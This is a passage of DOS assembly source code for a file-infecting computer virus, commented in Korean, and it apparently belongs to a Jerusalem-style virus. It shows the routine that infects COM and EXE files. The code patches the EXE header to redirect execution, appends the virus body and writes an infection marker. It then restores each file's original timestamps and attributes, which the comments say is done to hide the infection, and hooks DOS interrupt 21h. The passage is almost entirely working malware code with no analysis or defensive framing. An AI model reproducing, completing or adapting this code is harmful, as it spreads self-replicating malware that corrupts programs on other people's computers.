l_5e3: jb l_5e1

add di, cx ;화일 처음으로 pointer 이동
xor cx, cx
mov dx, cx
mov ax, 4200h
int 21h

mov si, 0005h ;바이러스 식별자 넣기
mov cx, 0005h
db 0f3h, 2eh, 0a4h ;repz movsb(cs:)

mov cx, di ;화일 쓰기
xor dx, dx
mov ah, 40h
int 21h

l_5e1: jb l_5f0

jmp exit_1

;----------------------------------------------------------------
; EXE 형 File 처리 Routine
;----------------------------------------------------------------

exe_proc:
mov cx, 001ch ;file header 읽기
mov dx, offset exe_header
mov ah, 3fh
int 21h

l_5f0: jb l_63c

;----------------------------------------------------------------
; File header 조정, 저장
;----------------------------------------------------------------

mov word ptr exe_header[12h], 1984 ;checksum
mov ax, word ptr exe_header[0eh] ;ss저장
mov word ptr exe_ss, ax
mov ax, word ptr exe_header[10h] ;si저장
mov word ptr exe_si, ax
mov ax, word ptr exe_header[14h] ;ip저장
mov word ptr exe_ip, ax
mov ax, word ptr exe_header[16h] ;code module 저장
mov word ptr exe_cm, ax
mov ax, word ptr exe_header[04h] ;file sector 조정
cmp word ptr exe_header[02h], 00
jz no_dec
dec ax

no_dec:
mul word ptr d_78
add ax, word ptr exe_header[02h]
adc dx, 00
adc ax, 000fh
adc dx, 00
and ax, 0fff0h
mov word ptr d_7c, ax
mov word ptr d_7e, dx
add ax, 0710h
adc dx, 00

l_63c: jb l_678
div word ptr d_78
or dx, dx
jz no_inc
inc ax

no_inc:
mov word ptr exe_header[04h], ax
mov word ptr exe_header[02h], dx

mov ax, d_7c
mov dx, d_7e
div word ptr d_7a
sub ax, word ptr exe_header[08h]
mov word ptr exe_header[16h], ax
mov word ptr exe_header[14h], 00c5h
mov word ptr exe_header[0eh], ax
mov word ptr exe_header[10h], 0710h

xor cx, cx ;화일 처음으로 pointer 이동
mov dx, cx
mov ax, 4200h
int 21h

l_678: jb l_684

mov cx, 001ch ;변경된 화일 header 쓰기
mov dx, 004fh
mov ah, 40h
int 21h

l_684: jb l_697

cmp ax, cx ;if error then goto exit
jnz exit_1

mov dx, d_7c ;화일의 코드 끝으로 pointer 이동
mov cx, d_7e
mov ax, 4200h
int 21h

l_697: jb exit_1

xor dx, dx ;바이러스 프로그램 쓰기

;----------------------------------------------------------------
; 마무리 처리 Routine
;----------------------------------------------------------------

exit_1:
cmp counter, 00 ;counter check
jz l_6ae
mov ah, 49h ;할당 메모리 회수
int 21h

l_6ae:
cmp word ptr cs:file_handle, -01h ;file error 이면 끝
jz exit_2 ;(handle = ffff)

mov bx, cs:file_handle ;원래 화일의 시간과 날짜로 변경
mov dx, cs:[0074h] ;바이러스 감염을 숨기기위한 작업
mov cx, cs:[0076h]
mov ax, 5701h
int 21h

mov ah, 3eh ;file close
int 21h

lds dx, cs:[0080h] ;원래 화일 속성으로 복구
mov cx, cs:[0072h]
mov ax, 4301h
int 21h

lds dx, cs:[001bh] ;int 24h 복구
mov ax, 2524h
int 21h
;----------------------------------------------------------------

exit_2:
pop es ;Register 복구
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행

virus ends